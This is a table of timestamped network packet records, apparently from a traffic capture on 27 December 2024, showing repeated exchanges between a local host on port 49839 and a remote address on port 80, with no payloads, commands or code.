Dec 27, 2024 08:46:30.980663061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.980700016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.981638908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.981693029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.981749058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.981790066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.982709885 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.982758045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.982820988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.982861996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.983798027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.983860016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.983879089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.983916998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.984875917 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.984925985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.984992981 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.985030890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.985948086 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.985996962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.986033916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.986073017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.987030983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.987082958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.987181902 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.987220049 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.988097906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.988146067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.988193035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.988234997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.989197016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.989248991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.989264965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.989305019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.990241051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.990281105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.990287066 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.990314960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.991364002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.991406918 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.991405964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.991441011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.992391109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.992441893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.992490053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.992532015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.993455887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.993510008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.993612051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.993655920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.994534016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.994590044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.994632006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.994673014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.995593071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.995645046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.995655060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.995696068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:30.996619940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:30.996680975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.141774893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.141892910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.141891003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.141949892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.142132998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.142178059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.142345905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.142385006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.142424107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.142460108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.143436909 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.143487930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.143544912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.143589020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.144503117 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.144552946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.144682884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.144731998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.145558119 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.145596027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.145678997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.145714998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.146697044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.146750927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.146769047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.146817923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.147758007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.147808075 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.147840977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.147880077 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.148778915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.148818970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.148871899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.148907900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.149848938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.149899006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.149960995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.150003910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.150933027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.150985956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.151031017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.151072979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.151992083 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.152034998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.152112961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.152154922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.153058052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.153103113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.153162956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.153203011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.154139042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.154181004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.154251099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.154294014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.155241013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.155289888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.155334949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.155375004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.156286001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.156337976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.156390905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.156435966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.157351017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.157391071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.157454014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.157494068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.158458948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.158502102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.158555031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.158596992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.159499884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.159548998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.159610033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.159651995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.160621881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.160667896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.160734892 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.160774946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.161640882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.161680937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.161741972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.161786079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.162734032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.162796974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.162837029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.162877083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.163799047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.163844109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.163888931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.163929939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.164859056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.164900064 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.164968014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.165009022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.165937901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.165982962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.166043997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.166085005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.167026043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.167076111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.167119980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.167160988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.168083906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.168140888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.168186903 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.168227911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.169171095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.169214010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.169265032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.169305086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.170222998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.170268059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.170330048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.170375109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.171338081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.171385050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.171405077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.171444893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.172364950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.172409058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.172476053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.172544956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.173455954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.173501968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.173568964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.173609972 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.174602032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.174652100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.174675941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.174716949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.175580978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.175625086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.175671101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.175714016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.176655054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.176704884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.176757097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.176798105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.177726030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.177772045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.177830935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.177897930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.178822041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.178885937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.178950071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.178989887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.179878950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.179923058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.179970026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.180010080 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.181031942 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.181077957 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.181081057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.181118965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.182068110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.182138920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.182158947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.182198048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.183109045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.183157921 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.183197975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.183239937 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.184192896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.184237003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.184281111 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.184319973 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.185281992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.185326099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.185349941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.185391903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.186309099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.186367989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.186412096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.186454058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.187388897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.187433958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.187478065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.187517881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.188457012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.188500881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.188587904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.188627958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.189572096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.189615965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.189651012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.189690113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.190603971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.190661907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.190697908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.190737963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.191660881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.191706896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.191765070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.191806078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.192785025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.192828894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.192902088 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.192939997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.193818092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.193866968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.193914890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.193950891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.194904089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.194951057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.194997072 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.195038080 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.195959091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.196014881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.196072102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.196111917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.197031975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.197082043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.197117090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.197151899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.342958927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.342988968 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.343059063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.343113899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.343300104 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.343352079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.343502998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.343550920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.343619108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.343662024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.344583035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.344640017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.344707012 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.344752073 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.345643997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.345691919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.345750093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.345796108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.346733093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.346781015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.346859932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.346924067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.347794056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.347848892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.347902060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.347945929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.348875999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.348937035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.348983049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.349021912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.349975109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.350028038 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.350123882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.350172043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.351016998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.351064920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.351180077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.351237059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.352091074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.352147102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.352195024 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.352236032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.353144884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.353246927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.353274107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.353315115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.354240894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.354295015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.354334116 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.354381084 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.355304956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.355360985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.355403900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.355451107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.356376886 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.356436014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.356486082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.356534004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.357445955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.357491970 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.357546091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.357645035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.358525038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.358572960 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.358622074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.358670950 CET	49839	80	192.168.2.4	31.41.244.11
